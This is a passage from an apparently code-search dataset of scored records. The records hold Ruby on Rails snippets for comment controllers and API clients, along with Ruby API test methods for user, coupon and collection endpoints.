"text": "def index\n @comments = Comment.find(:all, :conditions => ['published = ?', false], :order => 'created_at DESC')\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @comments }\n end\n end", "title": "" }, { "docid": "8efdfc5429dedc53c7de7cd640396bfb", "score": "0.612951", "text": "def getComments\r\n\tend", "title": "" }, { "docid": "4a0f48a52d54a4211b6cee39e42241b6", "score": "0.6127703", "text": "def show\n challenge = Challenge.find(params[:challenge_id])\n @comment = challenge.comments.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @comment }\n end\n end", "title": "" }, { "docid": "b8361361e62c62dbaeba0f9b9c057617", "score": "0.61190784", "text": "def show\n @comment = @post.comments.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @comment }\n end\n end", "title": "" }, { "docid": "282eb46b34d732ab2072b51695f914e0", "score": "0.61187357", "text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @comment_type }\n end\n end", "title": "" }, { "docid": "99233441b640876c3d721b0bc8a1d6d4", "score": "0.61104804", "text": "def show\n @comment = Comment.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @comment }\n end\n end", "title": "" }, { "docid": "99233441b640876c3d721b0bc8a1d6d4", "score": "0.61104804", "text": "def show\n @comment = Comment.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @comment }\n end\n end", "title": "" }, { "docid": "4447c95fefbb72f8a378ce8a783a58da", "score": "0.6103104", "text": "def comments\n Sifter.\n get(api_comments_url).\n fetch(\"comments\", []).\n map { |i| Sifter::Comment.new(i) }\n end", "title": "" }, { "docid": "53bf04a59812eeed34170ff33fc14e4d", "score": "0.6076825", "text": "def show\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @comment }\n format.json\n end\n end", "title": "" }, { "docid": "9dcc82e9f9aac2c9a55bf4bff7a7395f", "score": "0.60748404", "text": "def show\n @article_comments = Admin::ArticleComments.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @article_comments }\n end\n end", "title": "" }, { "docid": "f1a51a1f1740cebf679d7ba181165ddc", "score": "0.60631835", "text": "def index\n @comments = Relationship.find(params[:relationship_id]).comments\n\n\n respond_to do |format|\n format.html { render json: @comments.to_json}\n format.json { render json: @comments.to_json}\n end\n end", "title": "" }, { "docid": "d5dfdda3d49d314a63b20197dc067bb8", "score": "0.6060281", "text": "def comments(params = {})\n if @comments.any?\n @comments\n else\n @comments = Endpoints::Comments.new(client).get(project_id, id, params)\n end\n end", "title": "" }, { "docid": "4e4b3a139f498b748dacb2228ee399e9", "score": "0.6017922", "text": "def index\n @question_comments = QuestionComment.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @question_comments }\n end\n end", "title": "" }, { "docid": "166aff8a6d6b9be5cd0c0ddce5f7b6ec", "score": "0.6002887", "text": "def show\n @commentary = Commentary.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @commentary }\n end\n end", "title": "" }, { "docid": "98a7b48a9d1480f5cf7b7522c9961be8", "score": "0.5994864", "text": "def show\n @network = Network.find(params[:id])\n # TODO Ajax pagination\n @comments = @network.comments.find(:all, :order => 'created_at DESC')\n @comment_pages = @comments.paginate :page => params[:page], :per_page => 5\n @comment = @network.comments.build\n respond_to do |format|\n format.html # show.html.erb\n format.rss { render :layout => false }\n format.xml { render :xml => @network } \n end\n end", "title": "" }, { "docid": "e10b830a0e846fc770937e26c4a1dce5", "score": "0.59920985", "text": "def comments\n response[\"comments\"]\n end", "title": "" }, { "docid": "c5838a038f4f56f8f7e286cea3723516", "score": "0.59808695", "text": "def comments\n paginate json: Api::V1::ReportComment.where('report_id = ?', params[:id]).recent\n end", "title": "" }, { "docid": "de993c94a4667c7da274556fb98dbb18", "score": "0.59795415", "text": "def comments(media_id)\n get(\"/media/#{media_id}/comments\")\n end", "title": "" }, { "docid": "fd9e3c90ca775ca669db3af1957a8558", "score": "0.59723717", "text": "def comment(comment, options = {})\n get \"comments/#{comment}\", options\n end", "title": "" }, { "docid": "b38f93892ca3657084971d83ed85648a", "score": "0.5972241", "text": "def find_comments\n survey =Survey.find(params[:id])\n @comments = survey.comments\n end", "title": "" }, { "docid": "92232c62e0b4c91ee72aa315fa6a7d96", "score": "0.5951769", "text": "def show\n @question_comment = QuestionComment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @question_comment }\n end\n end", "title": "" }, { "docid": "eaa53048cf9840cec04d3180b809ea70", "score": "0.5945295", "text": "def show\n @commentator = Commentator.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @commentator }\n end\n end", "title": "" }, { "docid": "eca1a65368e92fc769206e583b883713", "score": "0.5942277", "text": "def index\n @comments = @entry.comments\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @comments }\n end\n end", "title": "" }, { "docid": "9ab19df8284f5246505eaba8ede033cf", "score": "0.5938634", "text": "def show\n @post = Post.find(params[:post_id])\n @comment = @post.comments.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @comment }\n end\n end", "title": "" }, { "docid": "9c80e7d741942779e6102eedba9f9dda", "score": "0.59343934", "text": "def index\n params[:article_id].present? ? @comments = Article.find(params[:article_id]).comments : @comments = Comment.all\n\n respond_to do |format|\n format.json { render json: @comments }\n format.xml { render xml: @comments }\n end\n end", "title": "" }, { "docid": "1cf692b3b5e95ef1d3c3f6a1830d8c86", "score": "0.5928842", "text": "def index\n @bundle_comments = @bundle.bundle_comments\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @bundle_comments }\n end\n end", "title": "" }, { "docid": "d3662162f0a6343ef2e2f47256a39fd8", "score": "0.5911442", "text": "def index\n respond_with(comments)\n end", "title": "" }, { "docid": "98a239d098f2b1de9281a1a22f6806a1", "score": "0.5909294", "text": "def index\n @commentable = find_commentable\n @comments = []\n if @commentable\n @comments = @commentable.comments\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: { comments: @comments } }\n end\n end", "title": "" }, { "docid": "a2d194535d2dfc66c28670c92a25c31b", "score": "0.590449", "text": "def show\n @postsale_comment = PostsaleComment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @postsale_comment }\n end\n end", "title": "" }, { "docid": "a2d194535d2dfc66c28670c92a25c31b", "score": "0.590449", "text": "def show\n @postsale_comment = PostsaleComment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @postsale_comment }\n end\n end", "title": "" }, { "docid": "d551b8c5eb9ea400305c263849735a5c", "score": "0.5901766", "text": "def list_comments\n GooglePlus::Comment.for_activity(id) \n end", "title": "" }, { "docid": "e0bd742d265b0bbf0536d5c583c15881", "score": "0.5900359", "text": "def index\n @postsale_comments = PostsaleComment.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @postsale_comments }\n end\n end", "title": "" }, { "docid": "e0bd742d265b0bbf0536d5c583c15881", "score": "0.5900359", "text": "def index\n @postsale_comments = PostsaleComment.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @postsale_comments }\n end\n end", "title": "" }, { "docid": "c3ae4e334f860c4391d43ada22bf0ebd", "score": "0.58960015", "text": "def show\n @article = Article.find(params[:id])\n @comments = @article.comments\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @article }\n end\n end", "title": "" }, { "docid": "c91f4afe367e00ce1e7d0595025c810a", "score": "0.5894684", "text": "def show\n @entry_comment = EntryComment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @entry_comment }\n end\n end", "title": "" }, { "docid": "697c8f50f63b0a233799ee648bd3e553", "score": "0.58895135", "text": "def index\n @comments = @blogger.comments\n end", "title": "" }, { "docid": "77d3165ed8d2e35be2e1564435d2d3b0", "score": "0.5888213", "text": "def index\n find_link if params[:link_id].present?\n @comments = resource.where search_params\n\n respond_with @comments\n end", "title": "" }, { "docid": "dc8fc7a6e908e9d16f01fb5143ab7443", "score": "0.5883292", "text": "def show\n @comments = @location_tourism.comments.published.recent.page(params[:page]).per(10)\n first_comment = @location_tourism.comments.recent.last\n @first_commentator = first_comment.user if first_comment\n \n @comment = Comment.new\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @location_tourism }\n end\n end", "title": "" }, { "docid": "5b458ba3621921501b858e30c925e6a5", "score": "0.5873813", "text": "def show\n authorize! :show, @comment\n \n respond_to do |format|\n format.html {}\n format.xml {\n fields = @logged_user.is_admin? ? [] : [:author_email, :author_homepage]\n render :xml => @comment.to_xml(:root => 'comment', :except => fields) \n }\n end\n end", "title": "" } ]
cb92327eb1c195e41fc9133df44fa3cc
we're inserting these directly after making the API call, so yes, it's verified
[ { "docid": "2157f257b165bcc50f54ed402a586cf3", "score": "0.0", "text": "def verified?\n true\n end", "title": "" } ]
[ { "docid": "9e4a9efa7bf668853fd75519c46ca9ce", "score": "0.56510335", "text": "def store_basics_in_status_format(body)\n self.external_account.oodt_baseline_survey_complete = body['baselineSurveyComplete']\n self.external_account.oodt_baseline_survey_url = body['url']\n\n self.external_account.save\n return external_account\n end", "title": "" }, { "docid": "d8a9588dee38459b745719893e5cf909", "score": "0.5614135", "text": "def test_personalization_hash\n # Step 1\n @user = setup_user\n\n # Step 2\n listings = []\n codes = []\n coupon_listings = get_listings_with_coupons_from_search\n\n coupon_listings.each do |listing|\n if listing['Coupons']\n params = {\n 'user_id' => @user.id,\n 'coupons' => listing['Coupons'][0]['CouponId'],\n 'int_xxid' => listing['Int_Xxid']\n }\n\n post '/mb/coupons', params\n assert_response(@response, :success)\n end\n end\n\n # post listings & notes for that listing to mb\n listings.each do |listing|\n params = {\n 'user_id' => @user.id,\n 'int_xxid' => listing['Int_Xxid']\n }\n\n post '/mb/businesses', params\n assert_response(@response, :success)\n\n params = {\n 'user_id' => @user.id,\n 'note' => \"API -- THIS IS A TEST NOTE -- #{Time.now}\",\n 'int_xxid' => listing['Int_Xxid']\n }\n\n post '/mb/notes', params\n assert_response(@response, :success)\n end\n\n # Step 3\n params = {\n 'user_id' => @user.id,\n 'include' => 'notes'\n }\n\n get '/mb/businesses', params\n assert_response(@response, :success)\n\n listings = @parsed_response['Businesses']\n\n personalization = ['TotalNotes', 'Notes', 'CollectionCodes', 'Ts', 'Collections',\n 'InMB', 'InCollections', 'HasNote', 'InFeaturedCollections']\n notes = ['Noteid', 'Ts', 'Uvrid', 'Int_Xxid', 'Notetype', 'Notes', 'OriginalIntXxid']\n collections = ['Code','Name','Icon','IconId']\n\n listings.each do |listing|\n assert(listing['Personalization'],\n \"Personalization missing for Business - Listing Name: #{listing['ListingName']}, Int_Xxid: #{listing['Int_Xxid']} \")\n assert_has_keys(listing['Personalization'], personalization)\n assert_has_keys(listing['Personalization']['Notes'], notes)\n assert_has_keys(listing['Personalization']['Collections'], collections)\n end\n\n codes.each do |code|\n params = {\n 'user_id' => @user.id,\n 'include' => 'notes'\n }\n\n get \"/mb/collections/#{code}\", params\n assert_response(@response, :success)\n\n listings = @parsed_response['Businesses']\n\n listings.each do |listing|\n assert(listing['Personalization'],\n \"Personalization missing for Business - Listing Name: #{listing['ListingName']}, Int_Xxid: #{listing['Int_Xxid']} \")\n assert_has_keys(listing['Personalization'], personalization)\n assert_has_keys(listing['Personalization']['Notes'], notes)\n assert_has_keys(listing['Personalization']['Collections'], collections)\n end\n end\n\n params = {\n 'user_id' => @user.id,\n 'include' => 'notes'\n }\n\n get '/mb/coupons', params\n assert_response(@response, :success)\n coupons = @parsed_response['Coupons']\n\n personalization = ['CollectionCodes', 'Collections', 'FeaturedCollections', 'ListingSummaryCounts', 'InMB']\n\n coupons.each do |coupon|\n assert(coupon['Business']['Personalization'],\n \"Personalization missing for coupon - Listing Name: #{coupon['ListingName']}, Int_Xxid: #{coupon['Int_Xxid']} \")\n assert_has_keys(coupon['Business']['Personalization'], personalization)\n end\n end", "title": "" }, { "docid": "11f8c9f838ab285b03b18b91320081f3", "score": "0.55545276", "text": "def test_post_insert_data\n\n post \"/db/simpletest\", params = {:test => \"four\"}\n\n #make sure this responded ok\n assert last_response.success?\n\n #make sure that the table looks as it should.\n assert_equal [{:id=>1, :test=>\"one\"},{:id=>2, :test=>\"two\"},{:id=>3, :test=>\"two\"},{:id=>4, :test=>\"four\"}], $BS.tables[:simpletest].entire_table(:override_security => true)\n end", "title": "" }, { "docid": "7e9f6c2efed3be9318cebe35d1fa114a", "score": "0.55200356", "text": "def verified_request?; end", "title": "" }, { "docid": "8bee28db234803d38bfb88c3e139a6c7", "score": "0.55139947", "text": "def identify_stuff_to_create\n end", "title": "" }, { "docid": "f5c9c8298f5ce1d15f125bed33045a57", "score": "0.5488247", "text": "def test_append_records\n Net::HTTP.stubs(:new).returns(@http,@http,@http,@http,@http,@http,@http_failed)\n\n assert_equal 0, AxOrder.count\n AxOrder.append_records\n assert_equal 6, AxOrder.find(:all).size\n AxOrder.find(:all).each do |record|\n assert record.record_valid?\n end\n assert AxOrder.check_ax_order_number_sequence\n end", "title": "" }, { "docid": "bc2c98f1e55622fb2e0f69aea7bcb448", "score": "0.54431957", "text": "def create_entries\n\n #check if the same client has some address associated with it. Update the address if already present\n client_wallet_address = ClientWalletAddress.where(client_id: @client_id, sub_environment: GlobalConstant::Base.sub_environment_name).first\n\n if client_wallet_address.present?\n #update the new address\n client_wallet_address.address = @owner_address\n client_wallet_address.save!\n else\n ClientWalletAddress.create!(\n client_id: @client_id,\n sub_environment: GlobalConstant::Base.sub_environment_name,\n address: @owner_address.downcase,\n status:GlobalConstant::WalletAddressStatus.active_status\n )\n end\n\n @token_id = @token_details[:id]\n\n token_addresses = TokenAddresses.where(\n token_id: @token_id,\n kind: GlobalConstant::TokenAddresses.owner_address_kind\n ).first\n\n if token_addresses.present?\n\n if token_addresses[:known_address_id].present?\n request_saas_to_remove_known_address(token_addresses[:known_address_id])\n end\n\n token_addresses[:address] = @owner_address\n token_addresses[:known_address_id] = nil\n\n token_addresses.save!\n else\n TokenAddresses.create!(\n token_id: @token_id,\n kind: GlobalConstant::TokenAddresses.owner_address_kind,\n address: @owner_address\n )\n\n end\n\n success\n end", "title": "" }, { "docid": "9ec0ce2dcc25c2b1f1ab1e3e8f9b9d66", "score": "0.5420237", "text": "def add_all_events_info_to_event_api(remote_event_api, all_events_info, all_rsvps_info)\n unless (all_events_info.signed_url)\n raise ApiReturnMissingElementError, \"signed_url missing from api return of all events\"\n end\n unless (all_rsvps_info.signed_url)\n raise ApiReturnMissingElementError, \"signed_url missing from api return of all rsvps\"\n end\n remote_event_api.all_events_api_url = all_events_info.signed_url\n remote_event_api.all_rsvps_api_url = all_rsvps_info.signed_url\n\n puts \"**==**==* in CCRemoteEvent::Loader.add_all_events_info_to_event_api\"\n\n #Iterate through the events returned by the API and\n #create add the details to the RemoteEventAPISource objs\n all_events_info.each do |event_info|\n curr_event_id = event_info.id.to_s.to_sym\n# puts(\"curr_event_id = '#{curr_event_id}'. class_name = '#{curr_event_id.class.name}'\")\n curr_api_source = remote_event_api.get_source_by_event_id(curr_event_id)\n if (curr_api_source)\n curr_api_source.url = event_info.event_url\n curr_api_source.title = event_info.name\n curr_api_source.how_to_find_us = event_info.how_to_find_us\n curr_api_source.publish_status = event_info.publish_status\n curr_api_source.venue_visiblity = event_info.venue_visiblity\n curr_api_source.visibilty = event_info.visibilty\n curr_api_source.yes_rsvp_count = (event_info.yes_rsvp_count ? event_info.yes_rsvp_count : 0)\n curr_api_source.announced = event_info.announced \n curr_api_source.announced_at = event_info.announced_at if event_info.announced_at\n curr_api_source.timezone = event_info.timezone if event_info.timezone\n curr_api_source.utc_offset = event_info.utc_offset if event_info.utc_offset\n event_fee = event_info.event_fee\n# puts \"*=*=*= yes_rsvp_count = #{curr_api_source.yes_rsvp_count}\"\n if (event_fee)\n curr_api_source.fee_accepts = event_fee.accepts\n curr_api_source.fee_amount = event_fee.amount\n curr_api_source.fee_currency = event_fee.currency\n curr_api_source.fee_description = event_fee.description\n curr_api_source.fee_label = event_fee.label\n curr_api_source.fee_required = event_fee.reqired\n end\n event_group = event_info.group\n # puts \"event_group = #{event_group.inspect}\"\n if (event_group)\n curr_api_source.group_name = event_group[\"name\"]\n curr_api_source.remote_group_id = event_group[\"id\"]\n curr_api_source.group_url = construct_meetup_group_url(event_group[\"urlname\"])\n end\n curr_api_source.description = event_info.description\n if (event_info.time) \n# puts \"event_info.time = #{event_info.time}\"\n #loc_start_date = Time.at(event_info.time)\n curr_api_source.start_date = event_info.time\n # puts \"start_date = #{curr_api_source.start_date}\"\n if (time_delta = event_info.duration)\n# puts \"event_info.duration = #{event_info.duration}\"\n# puts \"time_delta = '#{time_delta}'\"\n start_date_in_ms = event_info.time.strftime('%Q').to_i\n loc_end_time = Time.at((start_date_in_ms + time_delta)/1000)\n# puts \"loc_end_time = '#{loc_end_time}'\"\n curr_api_source.end_date = loc_end_time\n# puts \"end_date = #{curr_api_source.end_date}\"\n end\n end\n if (venue = event_info.venue)\n# puts \"About to find or create EventVenue. venue = #{venue.inspect}\"\n event_venue = EventVenue.find_or_create_for_meetup(venue)\n# puts(\"event_venue = #{event_venue.inspect}\")\n curr_api_source.event_venue_id = event_venue.id\n# puts \"event_venue_id = curr_api_source.event_venue_id\"\n# curr_api_source.build_event_venue(event_venue.attributes)\n end\n else\n puts(\"ERROR! Did not have an api_source for '#{curr_event_id}'\")\n end\n end\n remote_event_api\n end", "title": "" }, { "docid": "550e23a7f93d618e37bf990a5892e1d5", "score": "0.5418613", "text": "def test_updates_by_cookie_id_for_new_columns\n # Step 1\n @user = setup_user\n errors = []\n\n # Step 2\n params = {\n 'user' => {\n 'sex' => nil\n }\n }\n\n [0,1,2,9].each do |n|\n params['user']['sex'] = n\n\n put \"/usr/#{@user.cookie_id}\", params\n if @response.code =~ /^2\\d{2}$/\n assert_response(@response, :success)\n assert_equal(@user.cookie_id, @parsed_response['cookie_id'], @parsed_response)\n assert_equal(n, @parsed_response['sex'], @parsed_response)\n else\n errors << @parsed_response\n end\n end\n\n # Step 3\n params = {\n 'user' => {\n 'birth_date' => nil\n }\n }\n\n ['2000-02-29','1111-11-11','9999-09-09'].each do |date|\n params['user']['birth_date'] = date\n\n put \"/usr/#{@user.cookie_id}\", params\n if @response.code =~ /^2\\d{2}$/\n assert_response(@response, :success)\n assert_equal(@user.cookie_id, @parsed_response['cookie_id'], @parsed_response)\n assert_equal(date, @parsed_response['birth_date'], @parsed_response)\n else\n errors << @parsed_response\n end\n\n #sanity check for Turtle response\n @user.verify_oauth_token(@user.oauth_token)\n if @response.code =~ /^2\\d{2}$/\n assert_response(@response, :success)\n assert_equal(date, @parsed_response['birth_date'], @parsed_response)\n else\n errors << @parsed_response\n end\n end\n\n # Step 4\n params = {\n 'user' => {\n 'phone_number' => nil\n }\n }\n\n ['0123456789', '8185551212'].each do |pn|\n params['user']['phone_number'] = pn\n\n put \"/usr/#{@user.cookie_id}\", params\n if @response.code =~ /^2\\d{2}$/\n assert_response(@response, :success)\n assert_equal(@user.cookie_id, @parsed_response['cookie_id'], @parsed_response)\n assert_equal(pn, @parsed_response['phone_number'], @parsed_response)\n else\n errors << @parsed_response\n end\n end\n\n # Step 5\n ['abc', '123', '123abc4567'].each do |pn|\n params['user']['phone_number'] = pn\n\n put \"/usr/#{@user.cookie_id}\", params\n if @response.code =~ /^4\\d{2}$/\n assert_response(@response, :client_error)\n assert_equal('Phone number must be 10 numerical digits.', @parsed_response['phone_number'].first)\n else\n errors << \"Expected client error for non-10-digit formatting: #{@parsed_response['phone_number']}\"\n end\n end\n\n assert_empty(errors)\n end", "title": "" }, { "docid": "a7c067d17b7667b3d5ecad39a348dff8", "score": "0.539227", "text": "def test_create_or_update_create_activity_each_required_missing\n # Parameters to be sent to TimeSync\n activity = Hash[\n 'name' => 'Quality Assurance/Testing',\n 'slug' => 'qa'\n ]\n\n activity_to_test = activity.clone\n\n activity.each do |key, _value|\n activity_to_test.delete(key)\n assert_equal(@ts.create_or_update(\n activity_to_test, nil, 'activity', 'activities'\n ),\n Hash[@ts.instance_variable_get(:@error) =>\n format('activity object: missing required field(s):'\\\n ' %{k}', k: key)])\n activity_to_test = activity.clone\n end\n end", "title": "" }, { "docid": "022c4d5b62a5cee3e242601ddf2006a6", "score": "0.5391987", "text": "def verify_response(changesets)\n for changeset in changesets\n for change in changeset['changes']\n if change['el_action'] == 'CREATE'\n assert(change['prev_tags'].nil?)\n assert(!change['tags'].nil?)\n assert(change['prev_geom'].nil?)\n assert(!change['geom'].nil?)\n elsif change['el_action'] == 'DELETE'\n #assert(change['tags'].nil?)\n assert(!change['prev_tags'].nil?)\n assert(change['geom'].nil?)\n assert(!change['prev_geom'].nil?)\n end\n end\n end\n end", "title": "" }, { "docid": "73b1cb1356fdcd0ed2f3cd425daac30b", "score": "0.5382063", "text": "def test_register_with_opt_in_update_with_opt_out\n # Step 1\n @user = setup_user('email_opt_in' => 'true')\n\n # Step 2\n listings = []\n response = get_consumer_search_resp('pizza', 'los angeles, ca')\n response['SearchResult']['BusinessListings'].each do |listing|\n listings << listing['Int_Xxid']\n end\n\n params = {\n 'request_host' => 'http://www.xx.com',\n 'to' => @user.email,\n 'from' => @user.email,\n 'from_name' => @user.first_name,\n 'lid' => listings.sample.to_s,\n 'note' => 'Checkout this listing!',\n 'mobile' => false\n }\n\n post '/em/share_listing', params\n assert_response(@response, :success)\n\n # Step 3\n assign_http(Config['turtle']['host'])\n headers = { 'Authorization' => \"Bearer #{@user.oauth_token}\" }\n\n params = {\n 'email_opt_in' => 'false'\n }\n\n put '/usr', params, headers\n assert_response(@response, :success)\n\n # Step 4\n assign_http(Config['panda']['host'])\n params = {\n 'request_host' => 'http://www.xx.com',\n 'to' => @user.email,\n 'from' => @user.email,\n 'from_name' => @user.first_name,\n 'lid' => listings.sample.to_s,\n 'note' => 'Checkout this listing!',\n 'mobile' => false\n }\n\n post '/em/share_listing', params\n assert_response(@response, :client_error)\n end", "title": "" }, { "docid": "a4adae9ffeb7f9f9fc88bd1f853858ae", "score": "0.5370021", "text": "def verify_insert( company_hiring_incidence, public_agency )\n assert_object_is_not_null( company_hiring_incidence)\n assert_object_is_not_null( public_agency )\n assert_type_of_object( company_hiring_incidence, Hash)\n assert_type_of_object( public_agency, PublicAgency )\n if ( company_hiring_incidence[ public_agency.name ].nil? )\n counting = find_hiring_count( public_agency )\n company_hiring_incidence[ public_agency.name ] = counting\n else\n # Nothing to do.\n end\n return company_hiring_incidence\n end", "title": "" }, { "docid": "976e4f24abe4f1e0a44a07ec7d3b05d8", "score": "0.5343119", "text": "def test_3_10_to_4_x_upgrade_for_user\n # Step 1\n @user = setup_user\n\n # Step 2\n uber_cat = 'all'\n\n params = {\n 'app_id' => 'WEB',\n 'vrid' => @user.vrid,\n 'ptid' => 'www.xx.com',\n 'uc' => [uber_cat],\n 'sponsored_results' => 0,\n 'lat' => 34.1559416055679,\n 'lon' => -118.256176114082,\n 'f' => ['coupon_flag:Y']\n }\n\n get '/listings', params\n assert_response(@response, :success)\n\n listings = @parsed_response['SearchResult']['BusinessListings']\n\n ## There's no good way to simulate a user adding stuff on the 3.10 application\n ## from Panda's point of view so we'll just store the stuff in a variable for now\n saved_data = []\n\n if listings.first.nil?\n assert(listings.first, \"No listing returned for : #{params['uc']} \")\n else\n 3.times do |i|\n saved_data << {\n 'type' => 'listing',\n 'int_xxid' => listings[i]['Int_Xxid'],\n 'timestamp' => (Time.now.to_f*1000).to_i\n }\n end\n end\n\n listing_with_coupons = listings.find { |listing| listing['Coupons'] && !listing['Coupons'].empty? }\n listing_with_coupons['Coupons'].each do |coupon|\n saved_data << {\n 'type' => 'coupon',\n 'int_xxid' => listing_with_coupons['Int_Xxid'],\n 'coupon_id' => coupon['CouponId'],\n 'timestamp' => (Time.now.to_f*1000).to_i\n }\n end\n\n # Step 3\n params = {\n 'oauth_token' => @user.oauth_token\n }\n\n put_with_json '/mb/upload_coupons_or_businesses', params, saved_data\n assert_response(@response, :success)\n\n # Step 4\n params = { 'oauth_token' => @user.oauth_token }\n\n get '/mb/businesses', params\n assert_response(@response, :success)\n assert_equal(3, @parsed_response['Businesses'].size, @response.body)\n\n get '/mb/coupons', params\n assert_response(@response, :success)\n assert_equal(listing_with_coupons['Coupons'].count, @parsed_response['Coupons'].size, @response.body)\n end", "title": "" }, { "docid": "5d931b11775cf1dc66b361ad111292a6", "score": "0.5341247", "text": "def test_register_with_opt_out_update_with_opt_in\n # Step 1\n @user = setup_user('email_opt_in' => 'false')\n\n # Step 2\n listings = []\n response = get_consumer_search_resp('pizza', 'los angeles, ca')\n response['SearchResult']['BusinessListings'].each do |listing|\n listings << listing['Int_Xxid']\n end\n\n params = {\n 'request_host' => 'http://www.xx.com',\n 'to' => @user.email,\n 'from' => @user.email,\n 'from_name' => @user.first_name,\n 'lid' => listings.sample.to_s,\n 'note' => 'Checkout this listing!',\n 'mobile' => false\n }\n\n post '/em/share_listing', params\n assert_response(@response, :client_error)\n\n # Step 3\n assign_http(Config['turtle']['host'])\n headers = { 'Authorization' => \"Bearer #{@user.oauth_token}\" }\n\n params = {\n 'email_opt_in' => 'true'\n }\n\n put '/usr', params, headers\n assert_response(@response, :success)\n\n # Step 4\n assign_http(Config['panda']['host'])\n params = {\n 'request_host' => 'http://www.xx.com',\n 'to' => @user.email,\n 'from' => @user.email,\n 'from_name' => @user.first_name,\n 'lid' => listings.sample.to_s,\n 'note' => 'Checkout this listing!',\n 'mobile' => false\n }\n\n post '/em/share_listing', params\n assert_response(@response, :success)\n end", "title": "" }, { "docid": "518d63458e152adbdba71d70b39f2e46", "score": "0.5338837", "text": "def inserts; end", "title": "" }, { "docid": "a6bd05ad2efa5817eca642cf92fba985", "score": "0.5336927", "text": "def test_primary_collection_defaults\n # Step 1\n @user = setup_user\n\n # Step 2\n int_xxid = 123\n\n get_consumer_business_resp(int_xxid)\n assert_response(@response, :success)\n\n business = @parsed_response.first[1]\n assert_equal('home', business['PrimaryCollection'])\n\n params = { 'oauth_token' => @user.oauth_token }\n\n get '/mb/collections', params\n assert_response(@response, :success)\n\n collections = @parsed_response['Collections']\n ['home', 'food', 'services'].each do |code|\n count = collections.detect { |x| x['Code'] == code }['Count']\n assert_equal(0, count)\n end\n assert(collections.none? { |x| x['Code'] == 'other' })\n\n params = {\n 'oauth_token' => @user.oauth_token,\n 'int_xxid' => int_xxid\n }\n\n post '/mb/businesses', params\n assert_response(@response, :success)\n\n params = { 'oauth_token' => @user.oauth_token }\n\n get '/mb/collections', params\n assert_response(@response, :success)\n\n collections = @parsed_response['Collections']\n count = collections.detect { |x| x['Code'] == 'home' }['Count']\n assert_equal(1, count)\n\n # Step 3\n int_xxid = 22165164\n\n get_consumer_business_resp(int_xxid)\n assert_response(@response, :success)\n\n business = @parsed_response.first[1]\n assert_equal('other', business['PrimaryCollection'])\n\n params = {\n 'oauth_token' => @user.oauth_token,\n 'int_xxid' => int_xxid\n }\n\n post '/mb/businesses', params\n assert_response(@response, :success)\n\n params = { 'oauth_token' => @user.oauth_token }\n\n get '/mb/collections', params\n assert_response(@response, :success)\n\n collections = @parsed_response['Collections']\n count = collections.detect { |x| x['Code'] == 'other' }['Count']\n assert_equal(1, count)\n\n # Step 4\n int_xxid = 123\n\n get_consumer_business_resp(int_xxid)\n assert_response(@response, :success)\n\n business = @parsed_response.first[1]\n assert_equal('home', business['PrimaryCollection'])\n\n params = {\n 'oauth_token' => @user.oauth_token,\n 'int_xxid' => int_xxid,\n 'c' => 'food'\n }\n\n post '/mb/businesses', params\n assert_response(@response, :success)\n\n params = { 'oauth_token' => @user.oauth_token }\n\n get '/mb/collections', params\n assert_response(@response, :success)\n\n collections = @parsed_response['Collections']\n count = collections.detect { |x| x['Code'] == 'food' }['Count']\n assert_equal(1, count)\n\n # Step 5\n int_xxid = 22165164\n\n get_consumer_business_resp(int_xxid)\n assert_response(@response, :success)\n\n business = @parsed_response.first[1]\n assert_equal('other', business['PrimaryCollection'])\n\n params = {\n 'oauth_token' => @user.oauth_token,\n 'int_xxid' => int_xxid,\n 'c' => 'services'\n }\n\n post '/mb/businesses', params\n assert_response(@response, :success)\n\n params = { 'oauth_token' => @user.oauth_token }\n\n get '/mb/collections', params\n assert_response(@response, :success)\n\n collections = @parsed_response['Collections']\n count = collections.detect { |x| x['Code'] == 'services' }['Count']\n assert_equal(1, count)\n end", "title": "" }, { "docid": "309460a7154e77a773b4dc4954037c62", "score": "0.5329911", "text": "def test_updates_by_user_id_for_new_columns\n # Step 1\n @user = setup_user\n errors = []\n\n # Step 2\n params = {\n 'oauth_token' => @user.oauth_token,\n 'user' => {\n 'sex' => nil\n }\n }\n\n [0,1,2,9].each do |n|\n params['user']['sex'] = n\n\n post \"/usr/update_by_id/#{@user.id}\", params\n if @response.code =~ /^2\\d{2}$/\n assert_response(@response, :success)\n assert_equal(@user.id, @parsed_response['id'], @parsed_response)\n assert_equal(n, @parsed_response['sex'], @parsed_response)\n else\n errors << @parsed_response\n end\n end\n\n # Step 3\n params = {\n 'oauth_token' => @user.oauth_token,\n 'user' => {\n 'birth_date' => nil\n }\n }\n\n ['2000-02-29','1111-11-11','9999-09-09'].each do |date|\n params['user']['birth_date'] = date\n\n post \"/usr/update_by_id/#{@user.id}\", params\n if @response.code =~ /^2\\d{2}$/\n assert_response(@response, :success)\n assert_equal(@user.id, @parsed_response['id'], @parsed_response)\n assert_equal(date, @parsed_response['birth_date'], @parsed_response)\n else\n errors << @parsed_response\n end\n\n 